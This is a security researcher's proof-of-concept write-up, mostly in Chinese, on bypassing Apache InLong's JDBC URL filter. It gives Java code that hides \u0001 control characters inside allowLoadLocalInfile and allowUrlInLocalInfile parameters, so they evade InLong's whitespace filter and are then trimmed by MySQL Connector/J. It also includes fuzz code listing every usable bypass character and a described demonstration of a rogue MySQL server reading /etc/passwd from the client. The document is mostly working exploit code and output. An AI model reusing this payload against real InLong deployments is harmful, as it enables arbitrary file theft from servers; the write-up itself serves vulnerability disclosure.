

Apache InLong JDBC Vulnerability: Invisible Character Bypass

Creator: yulate

TestCase test code, and Inlong call logic is exactly the same, the driver version uses the official documentation to specify the version mysql-connector-java- 8.0.28

```
1  import org.apache.inlong.manager.common.util.UrlVerificationUtils;
2  import org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils;
3
4  import java.sql.DriverManager;
5
6  public class Case {
7      private static final String STAR_ROCKS_DRIVER_CLASS =
8      "com.mysql.cj.jdbc.Driver";
9      private static final String MYSQL_JDBC_PREFIX = "jdbc:mysql://";
10
11     public static void main(String[] args) throws Exception {
12         String jdbcUrl = "jdbc:mysql://127.0.0.1,
13         (allowLoadLocalInfile=\u0001true,allowUrlInLocalInfile=\u0001true,allowLoadLoc
14         alInfileInPath=.,maxAllowedPacket=655360),:3307/test";
15         System.out.println(jdbcUrl);
16         String s = MySQLSensitiveUrlUtils.filterSensitive(jdbcUrl);
17         System.out.println(s);
18         UrlVerificationUtils.extractHostAndValidatePortFromJdbcUrl(s,
19         MYSQL_JDBC_PREFIX);
20         Class.forName(STAR_ROCKS_DRIVER_CLASS);
21         DriverManager.getConnection(s, "root", "password");
22     }
23 }
```

mysql 8.x 中对 jdbc url 处理中存在如下代码

com.mysql.cj.conf.ConnectionUrlParser#processKeyValuePattern

```
79 public class ConnectionUrlParser implements DatabaseUrlContainer {
519
    采用两个匹配组（分别命名为“key”和“value”）模式，该模式针对给定字符串进行连续测试，并生成具有
    匹配值的键/值映射。给定的模式必须确保连续测试之间没有剩余，即前一场比赛的结束必须与下一场比赛的
    开始重合。

    参数： pattern - 要匹配的正则表达式模式
           input - 输入字符串

    返回： 包含匹配值的键/值映射

    @
    private Map<String, String> processKeyValuePattern(Pattern pattern, String input) {
532         Matcher matcher = pattern.matcher(input);
533         int p = 0;
534         Map<String, String> kvMap = new HashMap<>();
535         while (matcher.find()) {
536             if (matcher.start() != p) {
537                 throw ExceptionFactory.createException(WrongArgumentException.class,
538                     Messages.getString("ConnectionString.4", new Object[]{input.substring(p)}));
539             }
540             String key = decode(safeTrim(matcher.group( name: "key")));
541             String value = decode(safeTrim(matcher.group( name: "value")));
542             if (!isEmpty(key)) {
543                 kvMap.put(key, value);
544             } else if (!isEmpty(value)) {
545                 throw ExceptionFactory.createException(WrongArgumentException.class,
546                     Messages.getString("ConnectionString.4", new Object[]{input.substring(p)}));
547             }
548             p = matcher.end();
549         }
550         if (p != input.length()) {
551             throw ExceptionFactory.createException(WrongArgumentException.class, Messages.getString("ConnectionString.4", new Object[]{input.substring(p)}));
552         }
553         return kvMap;
554     }
}
```

在进行键值比对处理的时候进行了两次处理

- decode
- safeTrim

结合到 inlong 的补丁，过滤空白字符

通过正则表达式 `\s` 去除所有的空白字符，那么可以想到是否还有其他的特殊字符，满足 `\s` 匹配不到并且还能被 `safeTrim` 方法给去除呢，编写如下代码进行 fuzz

```
1 package com.demo;
2 import static com.mysql.cj.util.StringUtils.isEmpty;
3 public class fuzzCase2 {
4     public static void main(String[] args) {
5         // 注意：这里的循环范围超过了 char 的有效范围 (0 ~ 65535)，所以 i 大于
6         // 65535 时转换会发生截断。
7         for (int i = 127; i <= 100000; i++) {
8             char c = (char) i;
9             String s = String.valueOf(c).replaceAll("\\s", "");
10            if (!s.isEmpty()) {
11                String s1 = safeTrim(s);
12                if (isEmpty(s1)) {
13                    // 使用 getEscapeSequence 输出转义序列
14                    System.out.println(getEscapeSequence(c));
15                }
16            }
17        }
18    }
}
```

```

19      * 如果字符串为 null 或空, 返回原字符串, 否则返回 trim 后的结果。
20      */
21      public static String safeTrim(String toTrim) {
22          return isNullOrEmpty(toTrim) ? toTrim : toTrim.trim();
23      }
24      /**
25       * 根据字符返回转义序列形式的字符串:
26       * 对于 Java 中已有简写的控制字符, 如 \b、\t、\n、\f、\r、\0 直接返回对应的转义字
27       符串,
28       * 其他则返回 Unicode 十六进制格式表示, 如 "\XXXX"。
29       */
30      public static String getEscapeSequence(char ch) {
31          switch (ch) {
32              case '\0':
33                  return "\\0";
34              case '\b':
35                  return "\\b";
36              case '\t':
37                  return "\\t";
38              case '\n':
39                  return "\\n";
40              case '\f':
41                  return "\\f";
42              case '\r':
43                  return "\\r";
44              default:
45                  return String.format("\\u%04X", (int) ch);
46          }
47      }

```

fuzz 结果如下

```

1      \0
2      \u0001
3      \u0002
4      \u0003
5      \u0004
6      \u0005
7      \u0006
8      \u0007
9      \b
10     \u000E
11     \u000F
12     \u0010

```

```
13 \u0011
14 \u0012
15 \u0013
16 \u0014
17 \u0015
18 \u0016
19 \u0017
20 \u0018
21 \u0019
22 \u001A
23 \u001B
24 \u001C
25 \u001D
26 \u001E
27 \u001F
```

测试结果如下：

The screenshot displays two windows. The left window is a terminal running a MySQL server binary. It shows the server starting at 16:02:54, listening on 0.0.0.0:3306. At 16:03:37, a client connects from 127.0.0.1:54452 with the username 'root'. The client sends a query to read the file '/etc/passwd'. The server successfully reads the file and returns the contents to the client. The right window is an IDE showing a Java application. The code defines a class 'Case' with a 'main' method that connects to a MySQL database using the 'mysql-connector-java' driver. The connection is successful, and the application prints the contents of the 'etc/passwd' file to the console.

成功读取到文件